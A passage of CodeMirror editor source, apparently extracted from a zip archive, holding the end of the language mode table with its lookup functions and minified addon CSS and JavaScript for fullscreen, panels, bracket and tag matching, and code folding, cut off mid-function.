    {name: "XQuery", mime: "application/xquery", mode:
"xquery", ext: ["xy", "xquery"]},
    {name: "Yacas", mime: "text/x-yacas", mode:
"yacas", ext: ["ys"]},
    {name: "YAML", mimes: ["text/x-yaml",
"text/yaml"], mode: "yaml", ext: ["yaml",
"yml"], alias: ["yml"]},
    {name: "Z80", mime: "text/x-z80", mode:
"z80", ext: ["z80"]},
    {name: "mscgen", mime: "text/x-mscgen", mode:
"mscgen", ext: ["mscgen", "mscin",
"msc"]},
    {name: "xu", mime: "text/x-xu", mode:
"mscgen", ext: ["xu"]},
    {name: "msgenny", mime: "text/x-msgenny", mode:
"mscgen", ext: ["msgenny"]}
  ];
  // Ensure all modes have a mime property for backwards compatibility
  for (var i = 0; i < CodeMirror.modeInfo.length; i++) {
    var info = CodeMirror.modeInfo[i];
    if (info.mimes) info.mime = info.mimes[0];
  }

  CodeMirror.findModeByMIME = function(mime) {
    mime = mime.toLowerCase();
    for (var i = 0; i < CodeMirror.modeInfo.length; i++) {
      var info = CodeMirror.modeInfo[i];
      if (info.mime == mime) return info;
      if (info.mimes) for (var j = 0; j < info.mimes.length; j++)
        if (info.mimes[j] == mime) return info;
    }
    if (/\+xml$/.test(mime)) return
CodeMirror.findModeByMIME("application/xml")
    if (/\+json$/.test(mime)) return
CodeMirror.findModeByMIME("application/json")
  };

  CodeMirror.findModeByExtension = function(ext) {
    ext = ext.toLowerCase();
    for (var i = 0; i < CodeMirror.modeInfo.length; i++) {
      var info = CodeMirror.modeInfo[i];
      if (info.ext) for (var j = 0; j < info.ext.length; j++)
        if (info.ext[j] == ext) return info;
    }
  };

  CodeMirror.findModeByFileName = function(filename) {
    for (var i = 0; i < CodeMirror.modeInfo.length; i++) {
      var info = CodeMirror.modeInfo[i];
      if (info.file && info.file.test(filename)) return info;
    }
    var dot = filename.lastIndexOf(".");
    var ext = dot > -1 && filename.substring(dot + 1,
filename.length);
    if (ext) return CodeMirror.findModeByExtension(ext);
  };

  CodeMirror.findModeByName = function(name) {
    name = name.toLowerCase();
    for (var i = 0; i < CodeMirror.modeInfo.length; i++) {
      var info = CodeMirror.modeInfo[i];
      if (info.name.toLowerCase() == name) return info;
      if (info.alias) for (var j = 0; j < info.alias.length; j++)
        if (info.alias[j].toLowerCase() == name) return info;
    }
  };
});
PKA��[y�rg��codemirror/lib/addons.min.cssnu�[���.CodeMirror-fullscreen{position:fixed;top:0;left:0;right:0;bottom:0;height:auto;z-index:9}.CodeMirror-foldmarker{color:#00f;text-shadow:#b9f
1px 1px 2px,#b9f -1px -1px 2px,#b9f 1px -1px 2px,#b9f -1px 1px
2px;font-family:arial;line-height:.3;cursor:pointer}.CodeMirror-foldgutter{width:.7em}.CodeMirror-foldgutter-folded,.CodeMirror-foldgutter-open{cursor:pointer}.CodeMirror-foldgutter-open:after{content:"\25BE"}.CodeMirror-foldgutter-folded:after{content:"\25B8"}.CodeMirror-search-match{background:gold;border-top:1px
solid orange;border-bottom:1px solid
orange;-moz-box-sizing:border-box;box-sizing:border-box;opacity:.5}.CodeMirror-simplescroll-horizontal
div,.CodeMirror-simplescroll-vertical
div{position:absolute;background:#ccc;-moz-box-sizing:border-box;box-sizing:border-box;border:1px
solid
#bbb;border-radius:2px}.CodeMirror-simplescroll-horizontal,.CodeMirror-simplescroll-vertical{position:absolute;z-index:6;background:#eee}.CodeMirror-simplescroll-horizontal{bottom:0;left:0;height:8px}.CodeMirror-simplescroll-horizontal
div{bottom:0;height:100%}.CodeMirror-simplescroll-vertical{right:0;top:0;width:8px}.CodeMirror-simplescroll-vertical
div{right:0;width:100%}.CodeMirror-overlayscroll
.CodeMirror-gutter-filler,.CodeMirror-overlayscroll
.CodeMirror-scrollbar-filler{display:none}.CodeMirror-overlayscroll-horizontal
div,.CodeMirror-overlayscroll-vertical
div{position:absolute;background:#bcd;border-radius:3px}.CodeMirror-overlayscroll-horizontal,.CodeMirror-overlayscroll-vertical{position:absolute;z-index:6}.CodeMirror-overlayscroll-horizontal{bottom:0;left:0;height:6px}.CodeMirror-overlayscroll-horizontal
div{bottom:0;height:100%}.CodeMirror-overlayscroll-vertical{right:0;top:0;width:6px}.CodeMirror-overlayscroll-vertical
div{right:0;width:100%}PKA��[
ÈQ��codemirror/lib/addons.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a){var
b=a.getWrapperElement();a.state.fullScreenRestore={scrollTop:window.pageYOffset,scrollLeft:window.pageXOffset,width:b.style.width,height:b.style.height},b.style.width="",b.style.height="auto",b.className+="
CodeMirror-fullscreen",document.documentElement.style.overflow="hidden",a.refresh()}function
c(a){var
b=a.getWrapperElement();b.className=b.className.replace(/\s*CodeMirror-fullscreen\b/,""),document.documentElement.style.overflow="";var
c=a.state.fullScreenRestore;b.style.width=c.width,b.style.height=c.height,window.scrollTo(c.scrollLeft,c.scrollTop),a.refresh()}a.defineOption("fullScreen",!1,(function(d,e,f){f==a.Init&&(f=!1),!f!=!e&&(e?b(d):c(d))}))})),(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){function
b(a,b,c,d){this.cm=a,this.node=b,this.options=c,this.height=d,this.cleared=!1}function
c(a){var
b=a.getWrapperElement(),c=window.getComputedStyle?window.getComputedStyle(b):b.currentStyle,d=parseInt(c.height),e=a.state.panels={setHeight:b.style.height,panels:[],wrapper:document.createElement("div")};b.parentNode.insertBefore(e.wrapper,b);var
f=a.hasFocus();e.wrapper.appendChild(b),f&&a.focus(),a._setSize=a.setSize,null!=d&&(a.setSize=function(b,c){if(c||(c=e.wrapper.offsetHeight),e.setHeight=c,"number"!=typeof
c){var
f=/^(\d+\.?\d*)px$/.exec(c);f?c=Number(f[1]):(e.wrapper.style.height=c,c=e.wrapper.offsetHeight)}var
g=c-e.panels.map((function(a){return
a.node.getBoundingClientRect().height})).reduce((function(a,b){return
a+b}),0);a._setSize(b,g),d=c})}function d(a){var
b=a.state.panels;a.state.panels=null;var
c=a.getWrapperElement();b.wrapper.parentNode.replaceChild(c,b.wrapper),c.style.height=b.setHeight,a.setSize=a._setSize,a.setSize()}function
e(a,b){for(var
c=b.nextSibling;c;c=c.nextSibling)if(c==a.getWrapperElement())return!0;return!1}a.defineExtension("addPanel",(function(a,d){d=d||{},this.state.panels||c(this);var
f=this.state.panels,g=f.wrapper,h=this.getWrapperElement(),i=d.replace
instanceof b&&!d.replace.cleared;d.after instanceof
b&&!d.after.cleared?g.insertBefore(a,d.before.node.nextSibling):d.before
instanceof
b&&!d.before.cleared?g.insertBefore(a,d.before.node):i?(g.insertBefore(a,d.replace.node),d.replace.clear(!0)):"bottom"==d.position?g.appendChild(a):"before-bottom"==d.position?g.insertBefore(a,h.nextSibling):"after-top"==d.position?g.insertBefore(a,h):g.insertBefore(a,g.firstChild);var
j=d&&d.height||a.offsetHeight,k=new b(this,a,d,j);return
f.panels.push(k),this.setSize(),d.stable&&e(this,a)&&this.scrollTo(null,this.getScrollInfo().top+j),k})),b.prototype.clear=function(a){if(!this.cleared){this.cleared=!0;var
b=this.cm.state.panels;b.panels.splice(b.panels.indexOf(this),1),this.cm.setSize(),this.options.stable&&e(this.cm,this.node)&&this.cm.scrollTo(null,this.cm.getScrollInfo().top-this.height),b.wrapper.removeChild(this.node),0!=b.panels.length||a||d(this.cm)}},b.prototype.changed=function(){this.height=this.node.getBoundingClientRect().height,this.cm.setSize()}})),(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){function
b(a,b){return"pairs"==b&&"string"==typeof
a?a:"object"==typeof a&&null!=a[b]?a[b]:l[b]}function
c(a){for(var b=0;b<a.length;b++){var
c=a.charAt(b),e="'"+c+"'";n[e]||(n[e]=d(c))}}function
d(a){return function(b){return i(b,a)}}function e(a){var
b=a.state.closeBrackets;return!b||b.override?b:a.getModeAt(a.getCursor()).closeBrackets||b}function
f(c){var d=e(c);if(!d||c.getOption("disableInput"))return
a.Pass;for(var
f=b(d,"pairs"),g=c.listSelections(),h=0;h<g.length;h++){if(!g[h].empty())return
a.Pass;var i=j(c,g[h].head);if(!i||f.indexOf(i)%2!=0)return a.Pass}for(var
h=g.length-1;h>=0;h--){var
k=g[h].head;c.replaceRange("",m(k.line,k.ch-1),m(k.line,k.ch+1),"+delete")}}function
g(c){var
d=e(c),f=d&&b(d,"explode");if(!f||c.getOption("disableInput"))return
a.Pass;for(var
g=c.listSelections(),h=0;h<g.length;h++){if(!g[h].empty())return
a.Pass;var i=j(c,g[h].head);if(!i||f.indexOf(i)%2!=0)return
a.Pass}c.operation((function(){var
a=c.lineSeparator()||"\n";c.replaceSelection(a+a,null),c.execCommand("goCharLeft"),g=c.listSelections();for(var
b=0;b<g.length;b++){var
d=g[b].head.line;c.indentLine(d,null,!0),c.indentLine(d+1,null,!0)}}))}function
h(b){var c=a.cmpPos(b.anchor,b.head)>0;return{anchor:new
m(b.anchor.line,b.anchor.ch+(c?-1:1)),head:new
m(b.head.line,b.head.ch+(c?1:-1))}}function i(c,d){var
f=e(c);if(!f||c.getOption("disableInput"))return a.Pass;var
g=b(f,"pairs"),i=g.indexOf(d);if(-1==i)return a.Pass;for(var
j,l=b(f,"closeBefore"),n=b(f,"triples"),o=g.charAt(i+1)==d,p=c.listSelections(),q=i%2==0,r=0;r<p.length;r++){var
s,t=p[r],u=t.head,v=c.getRange(u,m(u.line,u.ch+1));if(q&&!t.empty())s="surround";else
if(!o&&q||v!=d)if(o&&u.ch>1&&n.indexOf(d)>=0&&c.getRange(m(u.line,u.ch-2),u)==d+d){if(u.ch>2&&/\bstring/.test(c.getTokenTypeAt(m(u.line,u.ch-2))))return
a.Pass;s="addFour"}else if(o){var w=0==u.ch?"
":c.getRange(m(u.line,u.ch-1),u);if(a.isWordChar(v)||w==d||a.isWordChar(w))return
a.Pass;s="both"}else{if(!q||!(0===v.length||/\s/.test(v)||l.indexOf(v)>-1))return
a.Pass;s="both"}else
s=o&&k(c,u)?"both":n.indexOf(d)>=0&&c.getRange(u,m(u.line,u.ch+3))==d+d+d?"skipThree":"skip";if(j){if(j!=s)return
a.Pass}else j=s}var
x=i%2?g.charAt(i-1):d,y=i%2?d:g.charAt(i+1);c.operation((function(){if("skip"==j)c.execCommand("goCharRight");else
if("skipThree"==j)for(var
a=0;a<3;a++)c.execCommand("goCharRight");else
if("surround"==j){for(var
b=c.getSelections(),a=0;a<b.length;a++)b[a]=x+b[a]+y;c.replaceSelections(b,"around"),b=c.listSelections().slice();for(var
a=0;a<b.length;a++)b[a]=h(b[a]);c.setSelections(b)}else"both"==j?(c.replaceSelection(x+y,null),c.triggerElectric(x+y),c.execCommand("goCharLeft")):"addFour"==j&&(c.replaceSelection(x+x+x+x,"before"),c.execCommand("goCharRight"))}))}function
j(a,b){var c=a.getRange(m(b.line,b.ch-1),m(b.line,b.ch+1));return
2==c.length?c:null}function k(a,b){var
c=a.getTokenAt(m(b.line,b.ch+1));return/\bstring/.test(c.type)&&c.start==b.ch&&(0==b.ch||!/\bstring/.test(a.getTokenTypeAt(b)))}var
l={pairs:"()[]{}''\"\"",closeBefore:")]}'\":;>",triples:"",explode:"[]{}"},m=a.Pos;a.defineOption("autoCloseBrackets",!1,(function(d,e,f){f&&f!=a.Init&&(d.removeKeyMap(n),d.state.closeBrackets=null),e&&(c(b(e,"pairs")),d.state.closeBrackets=e,d.addKeyMap(n))}));var
n={Backspace:f,Enter:g};c(l.pairs+"`")})),(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("../fold/xml-fold")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","../fold/xml-fold"],a):a(CodeMirror)})((function(a){function
b(b){if(b.getOption("disableInput"))return a.Pass;for(var
c=b.listSelections(),d=[],i=b.getOption("autoCloseTags"),j=0;j<c.length;j++){if(!c[j].empty())return
a.Pass;var
k=c[j].head,l=b.getTokenAt(k),m=a.innerMode(b.getMode(),l.state),n=m.state,o=m.mode.xmlCurrentTag&&m.mode.xmlCurrentTag(n),p=o&&o.name;if(!p)return
a.Pass;var
q="html"==m.mode.configuration,r="object"==typeof
i&&i.dontCloseTags||q&&g,s="object"==typeof
i&&i.indentTags||q&&h;l.end>k.ch&&(p=p.slice(0,p.length-l.end+k.ch));var
t=p.toLowerCase();if(!p||"string"==l.type&&(l.end!=k.ch||!/[\"\']/.test(l.string.charAt(l.string.length-1))||1==l.string.length)||"tag"==l.type&&o.close||l.string.indexOf("/")==k.ch-l.start-1||r&&e(r,t)>-1||f(b,m.mode.xmlCurrentContext&&m.mode.xmlCurrentContext(n)||[],p,k,!0))return
a.Pass;var u="object"==typeof
i&&i.emptyTags;if(u&&e(u,p)>-1)d[j]={text:"/>",newPos:a.Pos(k.line,k.ch+2)};else{var
v=s&&e(s,t)>-1;d[j]={indent:v,text:">"+(v?"\n\n":"")+"</"+p+">",newPos:v?a.Pos(k.line+1,0):a.Pos(k.line,k.ch+1)}}}for(var
w="object"==typeof
i&&i.dontIndentOnAutoClose,j=c.length-1;j>=0;j--){var
x=d[j];b.replaceRange(x.text,c[j].head,c[j].anchor,"+insert");var
y=b.listSelections().slice(0);y[j]={head:x.newPos,anchor:x.newPos},b.setSelections(y),!w&&x.indent&&(b.indentLine(x.newPos.line,null,!0),b.indentLine(x.newPos.line+1,null,!0))}}function
c(b,c){for(var
d=b.listSelections(),e=[],g=c?"/":"</",h=b.getOption("autoCloseTags"),i="object"==typeof
h&&h.dontIndentOnSlash,j=0;j<d.length;j++){if(!d[j].empty())return
a.Pass;var
k=d[j].head,l=b.getTokenAt(k),m=a.innerMode(b.getMode(),l.state),n=m.state;if(c&&("string"==l.type||"<"!=l.string.charAt(0)||l.start!=k.ch-1))return
a.Pass;var
o,p="xml"!=m.mode.name&&"htmlmixed"==b.getMode().name;if(p&&"javascript"==m.mode.name)o=g+"script";else
if(p&&"css"==m.mode.name)o=g+"style";else{var
q=m.mode.xmlCurrentContext&&m.mode.xmlCurrentContext(n);if(!q||q.length&&f(b,q,q[q.length-1],k))return
a.Pass;o=g+q[q.length-1]}">"!=b.getLine(k.line).charAt(l.end)&&(o+=">"),e[j]=o}if(b.replaceSelections(e),d=b.listSelections(),!i)for(var
j=0;j<d.length;j++)(j==d.length-1||d[j].head.line<d[j+1].head.line)&&b.indentLine(d[j].head.line)}function
d(b){return b.getOption("disableInput")?a.Pass:c(b,!0)}function
e(a,b){if(a.indexOf)return a.indexOf(b);for(var
c=0,d=a.length;c<d;++c)if(a[c]==b)return c;return-1}function
f(b,c,d,e,f){if(!a.scanForClosingTag)return!1;var
g=Math.min(b.lastLine()+1,e.line+500),h=a.scanForClosingTag(b,e,null,g);if(!h||h.tag!=d)return!1;for(var
i=f?1:0,j=c.length-1;j>=0&&c[j]==d;j--)++i;e=h.to;for(var
j=1;j<i;j++){var
k=a.scanForClosingTag(b,e,null,g);if(!k||k.tag!=d)return!1;e=k.to}return!0}a.defineOption("autoCloseTags",!1,(function(c,e,f){if(f!=a.Init&&f&&c.removeKeyMap("autoCloseTags"),e){var
g={name:"autoCloseTags"};"object"==typeof
e&&!1===e.whenClosing||(g["'/'"]=function(a){return
d(a)}),"object"==typeof
e&&!1===e.whenOpening||(g["'>'"]=function(a){return
b(a)}),c.addKeyMap(g)}}));var
g=["area","base","br","col","command","embed","hr","img","input","keygen","link","meta","param","source","track","wbr"],h=["applet","blockquote","body","button","div","dl","fieldset","form","frameset","h1","h2","h3","h4","h5","h6","head","html","iframe","layer","legend","object","ol","p","select","table","ul"];a.commands.closeTag=function(a){return
c(a)}})),(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){function
b(a){return a&&a.bracketRegex||/[(){}[\]]/}function c(a,c,e){var
f=a.getLineHandle(c.line),g=c.ch-1,j=e&&e.afterCursor;null==j&&(j=/(^|
)cm-fat-cursor($| )/.test(a.getWrapperElement().className));var
k=b(e),l=!j&&g>=0&&k.test(f.text.charAt(g))&&i[f.text.charAt(g)]||k.test(f.text.charAt(g+1))&&i[f.text.charAt(++g)];if(!l)return
null;var
m=">"==l.charAt(1)?1:-1;if(e&&e.strict&&m>0!=(g==c.ch))return
null;var
n=a.getTokenTypeAt(h(c.line,g+1)),o=d(a,h(c.line,g+(m>0?1:0)),m,n||null,e);return
null==o?null:{from:h(c.line,g),to:o&&o.pos,match:o&&o.ch==l.charAt(0),forward:m>0}}function
d(a,c,d,e,f){for(var
g=f&&f.maxScanLineLength||1e4,j=f&&f.maxScanLines||1e3,k=[],l=b(f),m=d>0?Math.min(c.line+j,a.lastLine()+1):Math.max(a.firstLine()-1,c.line-j),n=c.line;n!=m;n+=d){var
o=a.getLine(n);if(o){var
p=d>0?0:o.length-1,q=d>0?o.length:-1;if(!(o.length>g))for(n==c.line&&(p=c.ch-(d<0?1:0));p!=q;p+=d){var
r=o.charAt(p);if(l.test(r)&&(void
0===e||a.getTokenTypeAt(h(n,p+1))==e)){var
s=i[r];if(s&&">"==s.charAt(1)==d>0)k.push(r);else{if(!k.length)return{pos:h(n,p),ch:r};k.pop()}}}}}return
n-d!=(d>0?a.lastLine():a.firstLine())&&null}function
e(a,b,d){for(var
e=a.state.matchBrackets.maxHighlightLineLength||1e3,f=[],i=a.listSelections(),j=0;j<i.length;j++){var
k=i[j].empty()&&c(a,i[j].head,d);if(k&&a.getLine(k.from.line).length<=e){var
l=k.match?"CodeMirror-matchingbracket":"CodeMirror-nonmatchingbracket";f.push(a.markText(k.from,h(k.from.line,k.from.ch+1),{className:l})),k.to&&a.getLine(k.to.line).length<=e&&f.push(a.markText(k.to,h(k.to.line,k.to.ch+1),{className:l}))}}if(f.length){g&&a.state.focused&&a.focus();var
m=function(){a.operation((function(){for(var
a=0;a<f.length;a++)f[a].clear()}))};if(!b)return
m;setTimeout(m,800)}}function
f(a){a.operation((function(){a.state.matchBrackets.currentlyHighlighted&&(a.state.matchBrackets.currentlyHighlighted(),a.state.matchBrackets.currentlyHighlighted=null),a.state.matchBrackets.currentlyHighlighted=e(a,!1,a.state.matchBrackets)}))}var
g=/MSIE
\d/.test(navigator.userAgent)&&(null==document.documentMode||document.documentMode<8),h=a.Pos,i={"(":")>",")":"(<","[":"]>","]":"[<","{":"}>","}":"{<","<":">>",">":"<<"};a.defineOption("matchBrackets",!1,(function(b,c,d){function
e(a){a.state.matchBrackets&&a.state.matchBrackets.currentlyHighlighted&&(a.state.matchBrackets.currentlyHighlighted(),a.state.matchBrackets.currentlyHighlighted=null)}d&&d!=a.Init&&(b.off("cursorActivity",f),b.off("focus",f),b.off("blur",e),e(b)),c&&(b.state.matchBrackets="object"==typeof
c?c:{},b.on("cursorActivity",f),b.on("focus",f),b.on("blur",e))})),a.defineExtension("matchBrackets",(function(){e(this,!0)})),a.defineExtension("findMatchingBracket",(function(a,b,d){return(d||"boolean"==typeof
b)&&(d?(d.strict=b,b=d):b=b?{strict:!0}:null),c(this,a,b)})),a.defineExtension("scanForBracket",(function(a,b,c,e){return
d(this,a,b,c,e)}))})),(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("../fold/xml-fold")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","../fold/xml-fold"],a):a(CodeMirror)})((function(a){"use
strict";function
b(a){a.state.tagHit&&a.state.tagHit.clear(),a.state.tagOther&&a.state.tagOther.clear(),a.state.tagHit=a.state.tagOther=null}function
c(c){c.state.failedTagMatch=!1,c.operation((function(){if(b(c),!c.somethingSelected()){var
d=c.getCursor(),e=c.getViewport();e.from=Math.min(e.from,d.line),e.to=Math.max(d.line+1,e.to);var
f=a.findMatchingTag(c,d,e);if(f){if(c.state.matchBothTags){var
g="open"==f.at?f.open:f.close;g&&(c.state.tagHit=c.markText(g.from,g.to,{className:"CodeMirror-matchingtag"}))}var
h="close"==f.at?f.open:f.close;h?c.state.tagOther=c.markText(h.from,h.to,{className:"CodeMirror-matchingtag"}):c.state.failedTagMatch=!0}}}))}function
d(a){a.state.failedTagMatch&&c(a)}a.defineOption("matchTags",!1,(function(e,f,g){g&&g!=a.Init&&(e.off("cursorActivity",c),e.off("viewportChange",d),b(e)),f&&(e.state.matchBothTags="object"==typeof
f&&f.bothTags,e.on("cursorActivity",c),e.on("viewportChange",d),c(e))})),a.commands.toMatchingTag=function(b){var
c=a.findMatchingTag(b,b.getCursor());if(c){var
d="close"==c.at?c.open:c.close;d&&b.extendSelection(d.to,d.from)}}})),(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.registerHelper("fold","brace",(function(b,c){function
d(d){for(var h=c.ch,i=0;;){var
j=h<=0?-1:g.lastIndexOf(d,h-1);if(-1!=j){if(1==i&&j<c.ch)break;if(e=b.getTokenTypeAt(a.Pos(f,j+1)),!/^(comment|string)/.test(e))return
j+1;h=j-1}else{if(1==i)break;i=1,h=g.length}}}var
e,f=c.line,g=b.getLine(f),h="{",i="}",j=d("{");if(null==j&&(h="[",i="]",j=d("[")),null!=j){var
k,l,m=1,n=b.lastLine();a:for(var o=f;o<=n;++o)for(var
p=b.getLine(o),q=o==f?j:0;;){var
r=p.indexOf(h,q),s=p.indexOf(i,q);if(r<0&&(r=p.length),s<0&&(s=p.length),(q=Math.min(r,s))==p.length)break;if(b.getTokenTypeAt(a.Pos(o,q+1))==e)if(q==r)++m;else
if(!--m){k=o,l=q;break
a}++q}if(null!=k&&f!=k)return{from:a.Pos(f,j),to:a.Pos(k,l)}}})),a.registerHelper("fold","import",(function(b,c){function
d(c){if(c<b.firstLine()||c>b.lastLine())return null;var
d=b.getTokenAt(a.Pos(c,1));if(/\S/.test(d.string)||(d=b.getTokenAt(a.Pos(c,d.end+1))),"keyword"!=d.type||"import"!=d.string)return
null;for(var e=c,f=Math.min(b.lastLine(),c+10);e<=f;++e){var
g=b.getLine(e),h=g.indexOf(";");if(-1!=h)return{startCh:d.end,end:a.Pos(e,h)}}}var
e,f=c.line,g=d(f);if(!g||d(f-1)||(e=d(f-2))&&e.end.line==f-1)return
null;for(var h=g.end;;){var
i=d(h.line+1);if(null==i)break;h=i.end}return{from:b.clipPos(a.Pos(f,g.startCh+1)),to:h}})),a.registerHelper("fold","include",(function(b,c){function
d(c){if(c<b.firstLine()||c>b.lastLine())return null;var
d=b.getTokenAt(a.Pos(c,1));return/\S/.test(d.string)||(d=b.getTokenAt(a.Pos(c,d.end+1))),"meta"==d.type&&"#include"==d.string.slice(0,8)?d.start+8:void
0}var e=c.line,f=d(e);if(null==f||null!=d(e-1))return null;for(var
g=e;;){if(null==d(g+1))break;++g}return{from:a.Pos(e,f+1),to:b.clipPos(a.Pos(g))}}))})),(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(b,e,f,g){function h(a){var
c=i(b,e);if(!c||c.to.line-c.from.line<j)return null;for(var
d=b.findMarksAt(c.from),f=0;f<d.length;++f)if(d[f].__isFold&&"fold"!==g){if(!a)return
null;c.cleared=!0,d[f].clear()}return c}if(f&&f.call){var
i=f;f=null}else var
i=d(b,f,"rangeFinder");"number"==typeof
e&&(e=a.Pos(e,0));var
j=d(b,f,"minFoldSize"),k=h(!0);if(d(b,f,"scanUp"))for(;!k&&e.line>b.firstLine();)e=a.Pos(e.line-1,0),k=h(!1);if(k&&!k.cleared&&"unfold"!==g){var
l=c(b,f,k);a.on(l,"mousedown",(function(b){m.clear(),a.e_preventDefault(b)}));var
m=b.markText(k.from,k.to,{replacedWith:l,clearOnEnter:d(b,f,"clearOnEnter"),__isFold:!0});m.on("clear",(function(c,d){a.signal(b,"unfold",b,c,d)})),a.signal(b,"fold",b,k.from,k.to)}}function
c(a,b,c){var e=d(a,b,"widget");if("function"==typeof
e&&(e=e(c.from,c.to)),"string"==typeof e){var
f=document.createTextNode(e);e=document.createElement("span"),e.appendChild(f),e.className="CodeMirror-foldmarker"}else
e&&(e=e.cloneNode(!0));return e}function
d(a,b,c){if(b&&void 0!==b[c])return b[c];var
d=a.options.foldOptions;return d&&void
0!==d[c]?d[c]:e[c]}a.newFoldFunction=function(a,c){return
function(d,e){b(d,e,{rangeFinder:a,widget:c})}},a.defineExtension("foldCode",(function(a,c,d){b(this,a,c,d)})),a.defineExtension("isFolded",(function(a){for(var
b=this.findMarksAt(a),c=0;c<b.length;++c)if(b[c].__isFold)return!0})),a.commands.toggleFold=function(a){a.foldCode(a.getCursor())},a.commands.fold=function(a){a.foldCode(a.getCursor(),null,"fold")},a.commands.unfold=function(a){a.foldCode(a.getCursor(),null,"unfold")},a.commands.foldAll=function(b){b.operation((function(){for(var
c=b.firstLine(),d=b.lastLine();c<=d;c++)b.foldCode(a.Pos(c,0),null,"fold")}))},a.commands.unfoldAll=function(b){b.operation((function(){for(var
c=b.firstLine(),d=b.lastLine();c<=d;c++)b.foldCode(a.Pos(c,0),null,"unfold")}))},a.registerHelper("fold","combine",(function(){var
a=Array.prototype.slice.call(arguments,0);return function(b,c){for(var
d=0;d<a.length;++d){var e=a[d](b,c);if(e)return
e}}})),a.registerHelper("fold","auto",(function(a,b){for(var
c=a.getHelpers(b,"fold"),d=0;d<c.length;d++){var
e=c[d](a,b);if(e)return e}}));var
e={rangeFinder:a.fold.auto,widget:"↔",minFoldSize:0,scanUp:!1,clearOnEnter:!0};a.defineOption("foldOptions",null),a.defineExtension("foldOption",(function(a,b){return
d(this,a,b)}))})),(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("./foldcode")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","./foldcode"],a):a(CodeMirror)})((function(a){"use
strict";function b(a){this.options=a,this.from=this.to=0}function
c(a){return!0===a&&(a={}),null==a.gutter&&(a.gutter="CodeMirror-foldgutter"),null==a.indicatorOpen&&(a.indicatorOpen="CodeMirror-foldgutter-open"),null==a.indicatorFolded&&(a.indicatorFolded="CodeMirror-foldgutter-folded"),a}function
d(a,b){for(var
c=a.findMarks(m(b,0),m(b+1,0)),d=0;d<c.length;++d)if(c[d].__isFold){var
e=c[d].find(-1);if(e&&e.line===b)return c[d]}}function
e(a){if("string"==typeof a){var
b=document.createElement("div");return b.className=a+"
CodeMirror-guttermarker-subtle",b}return a.cloneNode(!0)}function
f(a,b,c){var
f=a.state.foldGutter.options,h=b-1,i=a.foldOption(f,"minFoldSize"),j=a.foldOption(f,"rangeFinder"),k="string"==typeof
f.indicatorFolded&&g(f.indicatorFolded),l="string"==typeof
f.indicatorOpen&&g(f.indicatorOpen);a.eachLine(b,c,(function(b){++h;var
c=null,g=b.gutterMarkers;if(g&&(g=g[f.gutter]),d(a,h)){if(k&&g&&k.test(g.className))return;c=e(f.indicatorFolded)}else{var
n=m(h,0),o=j&&j(a,n);if(o&&o.to.line-o.from.line>=i){if(l&&g&&l.test(g.className))return;c=e(f.indicatorOpen)}}(c||g)&&a.setGutterMarker(b,f.gutter,c)}))}function
g(a){return new
RegExp("(^|\\s)"+a+"(?:$|\\s)\\s*")}function h(a){var
b=a.getViewport(),c=a.state.foldGutter;c&&(a.operation((function(){f(a,b.from,b.to)})),c.from=b.from,c.to=b.to)}function
i(a,b,c){var e=a.state.foldGutter;if(e){var f=e.options;if(c==f.gutter){var
g=d(a,b);g?g.clear():a.foldCode(m(b,0),f)}}}function j(a){var
b=a.state.foldGutter;if(b){var
c=b.options;b.from=b.to=0,clearTimeout(b.changeUpdate),b.changeUpdate=setTimeout((function(){h(a)}),c.foldOnChangeTimeSpan||600)}}function
k(a){var b=a.state.foldGutter;if(b){var
c=b.options;clearTimeout(b.changeUpdate),b.changeUpdate=setTimeout((function(){var
c=a.getViewport();b.from==b.to||c.from-b.to>20||b.from-c.to>20?h(a):a.operation((function(){c.from<b.from&&(f(a,c.from,b.from),b.from=c.from),c.to>b.to&&(f(a,b.to,c.to),b.to=c.to)}))}),c.updateViewportTimeSpan||400)}}function
l(a,b){var c=a.state.foldGutter;if(c){var
d=b.line;d>=c.from&&d<c.to&&f(a,d,d+1)}}a.defineOption("foldGutter",!1,(function(d,e,f){f&&f!=a.Init&&(d.clearGutter(d.state.foldGutter.options.gutter),d.state.foldGutter=null,d.off("gutterClick",i),d.off("changes",j),d.off("viewportChange",k),d.off("fold",l),d.off("unfold",l),d.off("swapDoc",j)),e&&(d.state.foldGutter=new
b(c(e)),h(d),d.on("gutterClick",i),d.on("changes",j),d.on("viewportChange",k),d.on("fold",l),d.on("unfold",l),d.on("swapDoc",j))}));var
m=a.Pos})),(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a,b){return a.line-b.line||a.ch-b.ch}function
c(a,b,c,d){this.line=b,this.ch=c,this.cm=a,this.text=a.getLine(b),this.min=d?Math.max(d.from,a.firstLine()):a.firstLine(),this.max=d?Math.min(d.to-1,a.lastLine()):a.lastLine()}function
d(a,b){var c=a.cm.getTokenTypeAt(m(a.line,b));return
c&&/\btag\b/.test(c)}function e(a){if(!(a.line>=a.max))return
a.ch=0,a.text=a.cm.getLine(++a.line),!0}function
f(a){if(!(a.line<=a.min))return
